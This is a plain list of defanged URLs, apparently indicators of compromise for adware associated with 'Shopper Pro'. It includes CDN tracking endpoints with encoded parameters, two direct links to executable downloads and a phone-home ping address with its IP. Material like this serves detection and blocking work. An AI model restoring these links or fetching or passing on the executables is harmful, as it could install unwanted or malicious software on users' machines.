hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTTuh9zxLe96tCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3QaM eJWkTw6uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTMR0tXSlEdaRjVew HFEZV9jVBmhFP5Xl0m/qXEXQVT1t0W/6NZnG0=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRohYWVSD9bxhD4NsK07Wi5s IILilpWF2KgswbSwpeyhmehRlAIZWixXuPFOdxmQSrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUWxdZ8eaJ96yZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 3a2siGp/9ya
hxxp://d4ekdi381yoqv.cloudfront.net/yta33_sh_full.exe
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTF/nvWLek4mQTxIUcsgQ wziIw8Q49/dgttmOVSqw04CNiCF4FJfQXuVsw3gS4GmHhRrrlB59yRveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtQQuxFFygAloQTxIUcsgQ wxmYABy3b c3anAVHlmf vATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRaYa2XOOQuZBQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDo=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTvsEASNc/caY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfcBgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnbkI zKqxnsA=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtS12B/VpfiJ4dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WUzEdLV0pRHWkY1XsPhxRGVfY1QZoRT V5dJv6lxF0FU9bdFv jWZxt
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERLM8BMMVZLFq8mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywAlKs1btm3k3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSPXprHDSKQ3
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERJL7ZfSEVa6OEQyD12F 1Nyjgb6v7cXpPt2nKkLkHTcAQh7fCP95dTKIvain/ mm oQ3ihp8iyABkNoF4u38LkIDxcw9tjUHd6808AiUQEulsmw3Hl6laVkU2H z7sW5Uv0iKnRIooKPoID5x5YtLWQkuV5AeSR4Qbvu3q2cgyUn8ZZWzAzcfSklex/kVKG esHOIsfZCviTUeEKE8BUu1sjN9HUt770q3J/TTq06Ad OHOK8zqx8GI94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERKbvoGA4XsmV4XCb9CiaQyu0JQd5HxgIXf46OoQvinCN9FInQ/3aUB0hvdqivECN yHV1LMlp88b6eEsn81noLJjYhcnCVtRQ 3pbZbEWnWARD9BVsk40bmx4ABUCsqm0puvaNfs0YIq ns4WS9HyHR4nwc6PiZLfgIE7jpNROtzDm81F21dSoQ1V4Hek0AV9mn0FiVjXc3ENVeB3pNAFfZhngPKyfI04xX2w3GuEsAbyztZqn9Yn 2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsta8tCHxlktOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXcqwZwxAX4ff
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERLciXFAHp4HlL1HtSmBYQHI0JQd5HxgIXcyS07UkHqNsveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc=
hxxp://d2q90bop9bptps.cloudfront.net/t.ashx?e=eISsn0A7mAaebxLgvS5H7g6hxqMAiseH3K6GAkJ5kE/8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU5kfatyEXGYuWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XOxRKBm2zlxPNjxRBLtb40gvel0LAS5R/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J0L9Jos6iHR4UCN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdJ/lupoMJFd0NrbGxnyQjvNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XOxRKBm2zlxPNjxRBLtb40gvel0LAS5R/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J0L9Jos6iHR4UCN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DoltPqJisDtGNlz6m1J48 dQYf4gGF0f32KH pUTDHXlOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXQH1Ks0sJi5EqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDLx4LqlY8hEo4G r 3F6T7Ej7pUpUaR2m63dcRg82sn2uhUFVg7kyER2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUWxdZ8eaJ96yZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 3a2siGp/9ya
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=b1dRW7RxYKcVc8R/SQUwTHFA8SMhVDHu1CBHg79YIhaMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPMsivMaAupUnTIROPie2z40yolAiAYcC0Bjgb6v7cXpPvdsCy08w98PwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=d/UISSlWdlNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ0yETj4nts NPl9AOtqZ1I9ymF904v4t2DIdOulZ3X5yT2e6nYO18M uVZoUMuMz4694khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMAopJZj7S3tqAQy9IgZy5lJKYX3Ti/i3YMd/8r9q7HQVL3DDad46UzvECo8Sk7TI6jYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzia8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDQtz4YyLkt6pR90anDedSCmZPcE2iuyXcb/LmfTLIxoSS2kKKgguGyqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1FsXWfHmifesma098uiqxm3zS3x1PoF2emCCPMdcYxsH81HwV rOgft2trIhqf/cmg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=d/UISSlWdlNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ0yETj4nts NMqJQIgGHAtAY4G r 3F6T7BXBQ6luuzaAE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuy1ry0IfGWS07IffXCCIuDgNFu/dheDDCy5ra8N yvvOJaEpB0Im5dyrBnDEBfh98=
hxxp://v08oo0uy6-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=d/UISSlWdlNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ03IlxQB6eB5TdLcdziD4YvRMAGkRtqR4lkOB3v7aTq0F91k3KoBunFtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOJrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQkXE1V5BbBkY=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMBVBPfpXcC0NNCUHeR8YCF3HIVD2kslcMDwqofAqjkOQ/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMBHkkQ8dewzaRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrP3Vvzs8SHzWoO9hCyfDyHQXyPogRVj4AphWV9O25h3WNYuYnxNQ0D
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMCkpZrNsvTHKpXcKSoKf7ImsTIe5wObHey9BKGIpZn1wUSPdqmKrASUhyTVM5SweuyLaVL7rfayRIISalCQEqW8pg74C01WzxrV d5ATxtITihLhamU02OW PtnLPXD7v1xxoz8JuXK7hXEOZ5u9SBfUCKG8Tszai3/QQobIMldOAUmCToGzJO3mE1Cb/I uCEIzzgG5sHJ7aitb9T2k1gSd7mFoc4Utgp3lKUo42BvPCdlJGm 5eEq4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVPW3Rb/o1mcbQ==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1KpRdlvZ50xBw7bQvqxL1FNFKIwDlyME0pmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7aUHJTjt43c/Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzia8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMBgGShWQDHBOLQNwltuHU7XLtUlyKtO7SYPgAY8ePzFZz2k/iRtBvqTZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKz91b87PEh81qDvYQsnw8h0F8j6IEVY AKYVlfTtuYd1jWLmJ8TUNAw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMC8OzYKbo6H LC9DWtJE2Zs IILilpWF3Mj4ZenhjWS0bKEYvTsg4WUNLHlM57q6hxJWcDrTyedMhFlKj66Shd5bQQQLUhy ZzTaw0Q3ekbrhegrOcLaH45k76jFMyOlPSN5InBPQvgM3aK7WMV1mNU0P3TuWwzdyhyLVRxTLTAesx63zPf1h /lpWNI5CTGy6CLzW6Qxe0jcOHR9cA7HM7wIH48iM7ZunvInx1w2PPTKFO/l0P2QYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9wGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOduQj7MqrGewA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMAmyeS/0faBVTdVMo67fxO0s IILilpWF0vmoXMQKU1KtudqV021AKZ2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84mvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolCRcTVXkFsGRg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMCmW8V 3HOBw6zlVDGOOxKoKYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTy94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsOQs n7i1BIkA6hxqMAiseHLIubOjCpw7b8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRe0vpw87wGCmoO9hCyfDyHQXyPogRVj4AphWV9O25h3WFiBkLKOkzZSOrYhj46XfQgpnHZJVLNWyypInfO6xSO74r1XQZFERKbvoGA4XsmV/wUsk1xvYF0EwAaRG2pHiUVqC1aQjPYhN7ZC0Okuf4wZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKz91b87PEh81qDvYQsnw8h0F8j6IEVY AKYVlfTtuYd1jWLmJ8TUNAw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=tRw/6OvIg RxQPEjIVQx7kxNKob3iHO1jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc8SCFqUzxEuK5pBCt6gYiqojy6bVP70jD51USgPV Fx3YCpHZc9ZUaHCsX Z/ryLWwQy9IgZy5lJKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDo=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=o4wkB1bL2nL0g02wEBPEIlLp3IjabDDYQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3L2dvkIonkcUMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOeeTfIsgvSooKSm/NUmuZILaKig fkRtZJjNgiw50h3MmrmNNWY3tq5nbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFeZZ3F95gs6nEVdjbbwQnHyVtB8erRBUENOEjHxDbSNxwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QgW8pN5r26ZPNjxRBLtb4x0KrZhrRwbr/WD6e6SZIIGq9exvwYRubwRSl12vCJvFCM3NL4nDJo5OyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXRVWaKclJYCz b/YhL9w2PTXoMXpqBnYfcPSBQBQGVaTj0N7bp/0QtQiDxPRY4o5upR90anDedSCrGo3Q5FnxObzR1t 4ki58cbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfcBgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnbkI zKqxnsA=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hNMAVKhukry7P4fECSsJwg6hxqMAiseH8lXlmdaIM2L8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRe0vpw87wGCmoO9hCyfDyHQXyPogRVj4AphWV9O25h3WFiBkLKOkzZSOrYhj46XfQgpnHZJVLNWyypInfO6xSO0ATae6NSkctAjwe0z3CnlPHRxe7sAHW6KYX3Ti/i3YP8763l13qPQiK/Kp1Bt8wijPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KC46TpkJIZxPNjxRBLtb4xAGvdm47Hzt/WD6e6SZIIGq9exvwYRubwRSl12vCJvFCM3NL4nDJo5OyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXRVWaKclJYCz b/YhL9w2PTXoMXpqBnYfcPSBQBQGVaTyBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0WbXyrZJeCBbudtVI2WoDYR/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7b5Y3ECtK0JRWF/5576o pi ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6
hxxp://rep.shopper-pro.com/app/ping.ashx?e=k64GogClQtX0g02wEBPEIpwW94MmDkBo 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq2Mmy0imF8H6y6fGzNs6vFFcFomV8AFsitEqcnNVE9ds6aIQg3pa3BisHEelWCJ5f HOYncO4wemPMEi PFH4/sS6E ZVjGvzFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOvSgZZs8q9v7HOZnSWChaSpq2YtpOIBMYFEViCvyDnuRmJS/CStLJjeyp jPa4cTPVQyB/VFyE6ekC9hdIYNUYl7Rvfv lqvlRZRXx49nRJ1zruMb52zuG/nWRKq6pxJx6qyTnAgQqZVYPLJquZv66aV/sKQVwNmJ2SGRkpEIbSdfl0yK7ww8bRe0vpw87wGCmoO9hCyfDyHQXyPogRVj4AphWV9O25h3T8CgLbYIc8DLKkid87rFI4E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUNWxfdOym9oLHySmeDQikgk=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVhntxZGpTPDdJj0V1e3C0jlnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEopKBNrZGgXEKf6pfgWlN19 inPTLZDtg=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A3ANzFv7fWCOxiYYmXRGYDg2g5AFJwuPQBD1m2L769F4E7mrr1h80v8gl1CzC7piUA7dl9owwhIzEdLV0pRHWkY1XsPhxRGVfY1QZoRT V5dJv6lxF0FUw9ZGKLKG3nO lWLUtT/Ob8PRD2wFYfQnQv0mizqIdHh hmSQlakOO9wS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzia8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG
